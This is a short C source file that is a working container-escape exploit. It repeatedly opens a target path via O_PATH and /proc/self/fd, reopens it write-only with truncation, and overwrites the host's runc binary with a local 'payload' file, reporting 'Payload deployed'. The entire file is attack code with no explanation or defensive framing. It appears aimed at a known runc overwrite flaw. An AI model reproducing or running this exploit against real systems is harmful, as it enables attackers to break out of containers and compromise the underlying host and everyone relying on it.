#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define PAYLOAD_MAX_SIZE 1048576
#define O_PATH 010000000
#define SELF_FD_FMT "/proc/self/fd/%d"

int main(int argc, char **argv) {
    int fd, ret;
	char *payload, dest[512];

    if (argc < 2) {
        printf("usage: %s FILE\n", argv[0]);
        return 1;
    }

    payload = malloc(PAYLOAD_MAX_SIZE);
    if (payload == NULL) {
        puts("Could not allocate memory for payload.");
        return 2;
    }

    FILE *f = fopen("./payload", "r");
    if (f == NULL) {
        puts("Could not read payload file.\n");
        return 3;
    }
    int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);

    for (;;) {
        fd = open(argv[1], O_PATH);
        if (fd >= 0) {
            printf("Successfuly opened %s at fd %d\n", argv[1], fd);
            snprintf(dest, 500, SELF_FD_FMT, fd);
            puts(dest);
            for (int i = 0; i < 9999999; i++) {
                fd = open(dest, O_WRONLY | O_TRUNC);
                if (fd >= 0) {
                    printf("Successfully openned runc binary as WRONLY\n");
                    ret = write(fd, payload, payload_sz);
                    if (ret > 0) printf("Payload deployed\n");
                    break;
                }
            }
            break;
        }
    }
    return 0;
}

